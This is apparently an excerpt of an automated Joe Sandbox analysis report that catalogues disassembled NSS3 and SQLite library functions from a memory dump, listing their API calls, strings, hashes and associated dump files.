API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 68c5899a4935e36838f3adb90505f4c23c0bc77450e5409eaf0d9903024ca8db
Instruction ID: 494c6ddfc98369917fabdd0263819edf5337b49b96d76a85ae6522b80c5fc88a
Opcode Fuzzy Hash: 68c5899a4935e36838f3adb90505f4c23c0bc77450e5409eaf0d9903024ca8db
Instruction Fuzzy Hash: 744128B2A0011A9BDB008E699D41BAF33E8AF4939CF050174EC19AB752E730ED19C7E5

Function 6C5F7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C5F80DD), ref: 6C5F7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C5F80DD), ref: 6C5F7F36
free.MOZGLUE(?,?,?,6C5F80DD), ref: 6C5F7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C5F80DD), ref: 6C5F7F5D
DeleteCriticalSection.KERNEL32(?,6C5F80DD), ref: 6C5F7F94
free.MOZGLUE(?), ref: 6C5F7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C5F80DD), ref: 6C5F7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C5F80DD), ref: 6C5F7FE6
free.MOZGLUE(?,6C5F80DD), ref: 6C5F802D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 8af7efe9475dcaca1609e698633913178959ed0d145fe897a3336485d7b92dde
Instruction ID: 61ff0db200693e46b2ae7b29e16a210f755d77bfe59b82926d7c5019fd8cfdca
Opcode Fuzzy Hash: 8af7efe9475dcaca1609e698633913178959ed0d145fe897a3336485d7b92dde
Instruction Fuzzy Hash: A0411971B05250CBEB14EF799C88A4637B5AB4739DF15823BE529C7B40D7309426CFA1

Function 6C63FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63FF00

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C63FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C63FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C63FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C63FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C63FF8C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 50f0a697efb415a6f9017133db7bc8759073c255cccd728492f8246600b124cc
Instruction ID: da9b4a89d53145e17f21ca85525e8b077f4c7f71df3d4e5a47d8ab7b4f16ca95
Opcode Fuzzy Hash: 50f0a697efb415a6f9017133db7bc8759073c255cccd728492f8246600b124cc
Instruction Fuzzy Hash: C23125B29013329BE7108E548C40B9B76A8AF6674CF14A179ED1C9BB40FB71D914C7DA

Function 6C587D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C587E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C587E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C587EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C587F2E

Strings

%s at line %d of [%.10s], xrefs: 6C587EE7, 6C587F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C587ED8, 6C587F08, 6C587F19
database corruption, xrefs: 6C587EE2, 6C587F23

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 5a7242033c6c85597f4247e32bcabf9787f0ee5db4c6614307024ff50ae6c226
Instruction ID: 951e277f07cdd38edbffae9e0bdbdf31c04707b03b3949f81b7de7e035087cdb
Opcode Fuzzy Hash: 5a7242033c6c85597f4247e32bcabf9787f0ee5db4c6614307024ff50ae6c226
Instruction Fuzzy Hash: 3A61BD70B062159FDB05CF29CC90BAA37A2BF85348F1849A8FC095BB52D730EC55CBA0

Function 6C56FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C56FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C56FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C56FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C56FE83

Part of subcall function 6C56FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C56FEFA
Part of subcall function 6C56FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C56FF3B

Strings

%s at line %d of [%.10s], xrefs: 6C56FD73, 6C56FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C56FD64, 6C56FE26
database corruption, xrefs: 6C56FD6E, 6C56FE30

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 9be8c092308e336d8e5c140eccee6bfb703d1ab07a744e123b4b594e273aa3b4
Instruction ID: c6fc318d18a832a94047bffd576ca4516920d632014728b0c1985d2ff0a7c62a
Opcode Fuzzy Hash: 9be8c092308e336d8e5c140eccee6bfb703d1ab07a744e123b4b594e273aa3b4
Instruction Fuzzy Hash: 3C518171E002059FDB04CFAAD990BAEBBB1BF48308F144169D905ABB62E735ED54CB94

Function 6C6B2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B2FFD
sqlite3_initialize.NSS3 ref: 6C6B3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B3032
sqlite3_mprintf.NSS3(6C71AAF9,?), ref: 6C6B3073
sqlite3_free.NSS3(?), ref: 6C6B30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6B30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6B30BB

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 43ebe71d3b2e808e65e3da8b2f508d950e4a0da817bdff962b4e1dca4da602c3
Instruction ID: ee38b7f79398546f123b1864820a1814ad55701f425a2b9020c6fee1e2d5b44d
Opcode Fuzzy Hash: 43ebe71d3b2e808e65e3da8b2f508d950e4a0da817bdff962b4e1dca4da602c3
Instruction Fuzzy Hash: 6D41A271600606ABDB00CF25D880A8AB7F5FF84368F158638EC5997B40EB31F965CBD5

Function 6C635ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]cl), ref: 6C635F0A
TlsGetValue.KERNEL32 ref: 6C635F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C635F2F
PR_Unlock.NSS3(890008E8), ref: 6C635F55
PR_SetError.NSS3(00000000,00000000), ref: 6C635F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C635F7D

Part of subcall function 6C635220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C635F82,8B4274C0), ref: 6C635248
Part of subcall function 6C635220: EnterCriticalSection.KERNEL32(0F6C700D,?,6C635F82,8B4274C0), ref: 6C63525C
Part of subcall function 6C635220: PR_SetError.NSS3(00000000,00000000), ref: 6C63528E
Part of subcall function 6C635220: PR_Unlock.NSS3(0F6C6FF1), ref: 6C635299
Part of subcall function 6C635220: free.MOZGLUE(00000000), ref: 6C6352A9

Strings

q]cl, xrefs: 6C635EDB, 6C635F09

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]cl
API String ID: 3150690610-2625089553
Opcode ID: 5b43e17c0db0e577d5ab32ba4fe01d4614327daf4a0fe93949e384a50d6aa8a5
Instruction ID: 9eaf8ffed56a2a667fe4a13480d84da3c56c035728f85d9b2473a6a8a1203a86
Opcode Fuzzy Hash: 5b43e17c0db0e577d5ab32ba4fe01d4614327daf4a0fe93949e384a50d6aa8a5
Instruction Fuzzy Hash: 3D21D6B1D002149BDB10AF68DC41AEEB7B4EF49318F541129D90AA7740EB31A954CB99

Function 6C5F8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C60124D,00000001), ref: 6C5F8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C60124D,00000001), ref: 6C5F8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C60124D,00000001), ref: 6C5F8D73
PR_Unlock.NSS3(?,?,?,?,?,6C60124D,00000001), ref: 6C5F8D8C

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C60124D,00000001), ref: 6C5F8DBA

Strings

KRAM, xrefs: 6C5F8D3E
KRAM, xrefs: 6C5F8CF9

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 2a9dc59f5f5e8fb9ad9d738467e318fd438e6d4c0320fd9481af7cc143f25feb
Instruction ID: 7827485d759d5d47fb9b434c9b0d7c9f461a8f1f428430232061d954dcf26fbf
Opcode Fuzzy Hash: 2a9dc59f5f5e8fb9ad9d738467e318fd438e6d4c0320fd9481af7cc143f25feb
Instruction Fuzzy Hash: 47216DB5A046018FCB04EF39C88455AB7F1FF86318F15896AD8A9C7701DB34E842CFA2

Function 6C6F0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C6F0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C6F0EFA

Part of subcall function 6C5DAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C5DAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6F0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6F0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6F0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6F0F2B

Strings

Aborting, xrefs: 6C6F0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C6F0ED9, 6C6F0EE5, 6C6F0F06, 6C6F0F0B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: f265eeaf4d25072e2f5eedd5337688a39c435a547fb9f215ce656971e631df40
Instruction ID: cb98573907661888836ab4ffd2079067378b4db0a39f4df9d0433850da8f78b6
Opcode Fuzzy Hash: f265eeaf4d25072e2f5eedd5337688a39c435a547fb9f215ce656971e631df40
Instruction Fuzzy Hash: 1501C0B6A00224ABDF12AF64DC4589B3F3DEF46365B004064FD1987701D635E91087A2

Function 6C6D1C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=]l,?,?,6C5D4E1D), ref: 6C6D1C8A
sqlite3_free.NSS3(00000000), ref: 6C6D1CB6

Strings

a CHECK constraint, xrefs: 6C6D1C76, 6C6D1C81
w=]l, xrefs: 6C6D1C44
an index, xrefs: 6C6D1C67
non-deterministic use of %s() in %s, xrefs: 6C6D1C85
a generated column, xrefs: 6C6D1C6C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=]l
API String ID: 1840970956-3837530116
Opcode ID: 50dfbe7c5e820b34486efdf47ff8b62da7ed63cb406ee6d36615812c840a8c4c
Instruction ID: 27db4b17956576f0a46e1f94a46ac31d3b11e9d9f16e68be8ab96cdf5bd72ba6
Opcode Fuzzy Hash: 50dfbe7c5e820b34486efdf47ff8b62da7ed63cb406ee6d36615812c840a8c4c
Instruction Fuzzy Hash: 600147B1A041405BD700BB68E842DB273E6EFC235CB19487DEC448BF12EB22EC56C751

Function 6C6B4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6B4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6B4DE0

Strings

%s at line %d of [%.10s], xrefs: 6C6B4DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6B4DCB
misuse, xrefs: 6C6B4DD5
invalid, xrefs: 6C6B4DB8
API call with %s database connection pointer, xrefs: 6C6B4DBD

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 88b17534fdd5d60b8a35ab8b1f684934602f64230fd424597e4ed59f18d914f7
Instruction ID: b92c2c37e8545ae92e977470b66d51b718cadaead96c170e1ebee9f149a21870
Opcode Fuzzy Hash: 88b17534fdd5d60b8a35ab8b1f684934602f64230fd424597e4ed59f18d914f7
Instruction Fuzzy Hash: 4CF0E921F1C5686BDB004115CE21FE637DA8F02329F4A09E0EE087BE53D26A9E6483D9

Function 6C6B4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6B4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6B4E4D

Strings

%s at line %d of [%.10s], xrefs: 6C6B4E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6B4E38
misuse, xrefs: 6C6B4E42
invalid, xrefs: 6C6B4E25
API call with %s database connection pointer, xrefs: 6C6B4E2A

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 39c49e1d7b146478445b17499cbd4b2b8b43e0eac2d859e57a4f8b8aa9e2bbc8
Instruction ID: 7a4819724199485c047d480cc98e3e4e7a391ab6c259a9dd602fe3973f435364
Opcode Fuzzy Hash: 39c49e1d7b146478445b17499cbd4b2b8b43e0eac2d859e57a4f8b8aa9e2bbc8
Instruction Fuzzy Hash: 32F02721E4C9786FE7204225DE11FE3378A4B02329F4D45E1FE0877E92D6699A7343DA

Function 6C5E9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5EA086
EnterCriticalSection.KERNEL32(?), ref: 6C5EA09B
PR_Unlock.NSS3(?), ref: 6C5EA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5EA0E9
TlsGetValue.KERNEL32 ref: 6C5EA11B
EnterCriticalSection.KERNEL32(?), ref: 6C5EA12F
PR_Unlock.NSS3(?), ref: 6C5EA148

Part of subcall function 6C601A40: PR_Now.NSS3(?,00000000,6C5E28AD,00000000,?,6C5FF09A,00000000,6C5E28AD,6C5E93B0,?,6C5E93B0,6C5E28AD,00000000,?,00000000), ref: 6C601A65

Part of subcall function 6C601940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C604126,?), ref: 6C601966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5EA1A3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: b1e5a71206f15a605abb242b61ad20f0a330aa0d176a01f0d339c0c8c5901274
Instruction ID: a9fdd3e33a5875718acdd27b493b28c084c785bd1eb4028bfe7f681bcc3bbc1d
Opcode Fuzzy Hash: b1e5a71206f15a605abb242b61ad20f0a330aa0d176a01f0d339c0c8c5901274
Instruction Fuzzy Hash: 8051F6B5E002009BEB149F39DC44AAB7BF9AFCA308B158539DD29D7701EF31D945C6A1

Function 6C620C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C621444,?,00000001,?,00000000,00000000,?,?,6C621444,?,?,00000000,?,?), ref: 6C620CB3

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C621444,?,00000001,?,00000000,00000000,?,?,6C621444,?), ref: 6C620DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C621444,?,00000001,?,00000000,00000000,?,?,6C621444,?), ref: 6C620DEC

Part of subcall function 6C640F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C5E2AF5,?,?,?,?,?,6C5E0A1B,00000000), ref: 6C640F1A
Part of subcall function 6C640F10: malloc.MOZGLUE(00000001), ref: 6C640F30
Part of subcall function 6C640F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C640F42

